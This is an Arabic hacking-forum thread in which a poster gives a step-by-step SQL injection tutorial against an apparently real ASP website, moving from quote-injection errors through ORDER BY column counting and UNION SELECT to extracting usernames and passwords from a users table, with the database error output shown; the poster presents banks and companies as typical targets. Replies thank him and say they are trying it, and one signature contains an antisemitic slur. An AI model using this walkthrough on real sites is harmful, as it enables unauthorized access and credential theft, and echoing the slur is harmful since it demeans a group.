شرح استغلال ثغرات Asp باحتراف ..

شرح استغلال ثغرات Asp باحتراف ..


النتائج 1 إلى 3 من 3

الموضوع: شرح استغلال ثغرات Asp باحتراف ..

  1. #1

    Thumbs up شرح استغلال ثغرات Asp باحتراف ..

    السلام عليكم ورحمة الله وبركاته

    اليوم قررت اعمل لكم شرح عن استغلال ثغرات asp ..
    هذه البرمجة نادرة الاستخدام الا فى المواقع الكبيرة مثل البنوك والشركات ..

    ساشرح لكم كيفية استغلال خطأ sql تابع معى ..

    انا ساشرج لكم على موقع http://www.haybersqlogretiyo.com

    المنطقة المصابة بثغرة sql نضع بعد الرابط وبعد المتغير علامة " او '
    http://www.haybersqlogretiyo.com/baskabibolum.asp?id=10"


    يظهر لنا الخطأ التالى :
    كود PHP:
    Microsoft JET Database Engine error ’80040e14’ 
    Syntax error in string in query expression ’id 
    10";’. 
    /baskabirbolum.asp, line 7 
    الان نبدا نعد بالاعمدة للوصول الى العمود المطلوب
    http://www.haybersqlogretiyo.com/bas...=10+order+by+1

    الان عند الوصول الى العمود المصاب وهو 10
    http://www.haybersqlogretiyo.com/bas...10+order+by+10

    يظهر الخطأ التالى :


    كود PHP:
    Microsoft JET Database Engine error ’80040e14’ 
    The Microsoft Jet database engine does not recognize ’10’ 
    as a valid field name or expression
    /
    news.aspline 7 
    ويكون العمود المصاب الرقم 8
    http://www.haybersqlogretiyo.com/bas...=10+order+by+8



    http://www.haybersqlogretiyo.com/bas...2,3,4,5,6, 7--

    الان عند الوصول الى الرقم 7 يظهر لنا هذا الخطا وبداخله اسم القاعدة
    كود PHP:
    Microsoft JET Database Engine error ’80040e37’ 
    The Microsoft Jet database engine cannot find the input table 
    or query ’hayber’Make sure it exists and that its name is spelled correctly
    /
    baskabirbolum.aspline 7 
    واسمها : hayber

    ويتم استغلالها .
    http://www.haybersqlogretiyo.com/bas... 7+from+hayber

    والان نظهر اسم اليوزر والباس
    http://www.haybersqlogretiyo.com/bas...6,7+from+users


    تم الموضوع بحمد الله
    وانشاء الله قريبا اشرح الموضوع على فيديو
    ارجوا ان استفدتوا من الموضوع ...

    تحياتي : M.BoMb
    التعديل الأخير تم بواسطة M.Bomb ; 09-02-2012 الساعة 12:52 PM

  2. #2

    افتراضي رد: شرح استغلال ثغرات Asp باحتراف ..

    مشكوووووووووووور اخوى
    جارى التجربه
    ويشرفنى ان اكون اول من يرد على الموضوع المميز دا


    سـٍُُُُـٍٍُُـٍُـأ ــتـٍُُـعـلـًٍُُـم حــ(ـتـٍٍُُُـٍُُـى أأصـٍٍُُــبـٍٍُُـح ألأفـٍٍُُُـٍُُُُــٍُُــٍُ ُضــًٍُُـًٍُُـل
    فيـــــشهد العالم أجمع بأن العرب
    أسيأأأأأأأد اليْْْْـــهــXXXــود

  3. #3

    افتراضي رد: شرح استغلال ثغرات Asp باحتراف ..


    مشكوووووووووووور اخوى
    جارى التجربه
    ويشرفنى ان اكون اول من يرد على الموضوع المميز دا

    شكرا لك على المرور الطيب ...
    دمت بود ...

المواضيع المتشابهه

  1. استغلال ثغرات xss
    بواسطة bougassa في المنتدى قسم الثغرات
    مشاركات: 2
    آخر مشاركة: 01-29-2012, 12:27 AM
  2. استغلال ثغرات Xss
    بواسطة yheya في المنتدى قسم الثغرات
    مشاركات: 9
    آخر مشاركة: 01-28-2012, 09:18 PM
  3. شرح استغلال ثغرات sql injection جاهزه
    بواسطة BLACK.JaGuAr في المنتدى قسم الثغرات
    مشاركات: 77
    آخر مشاركة: 12-22-2011, 08:27 AM
  4. شرح استغلال ثغرات command execution
    بواسطة BLACK.JaGuAr في المنتدى قسم الثغرات
    مشاركات: 46
    آخر مشاركة: 12-11-2011, 03:42 PM
  5. درس استغلال ثغرات ال RFi مع التطبيق ---
    بواسطة Hidden pain في المنتدى اختراق المواقع والسيرفرات
    مشاركات: 2
    آخر مشاركة: 12-10-2010, 06:08 PM

المفضلات

أذونات المشاركة

  • لا تستطيع إضافة مواضيع جديدة
  • لا تستطيع الرد على المواضيع
  • لا تستطيع إرفاق ملفات
  • لا تستطيع تعديل مشاركاتك
  •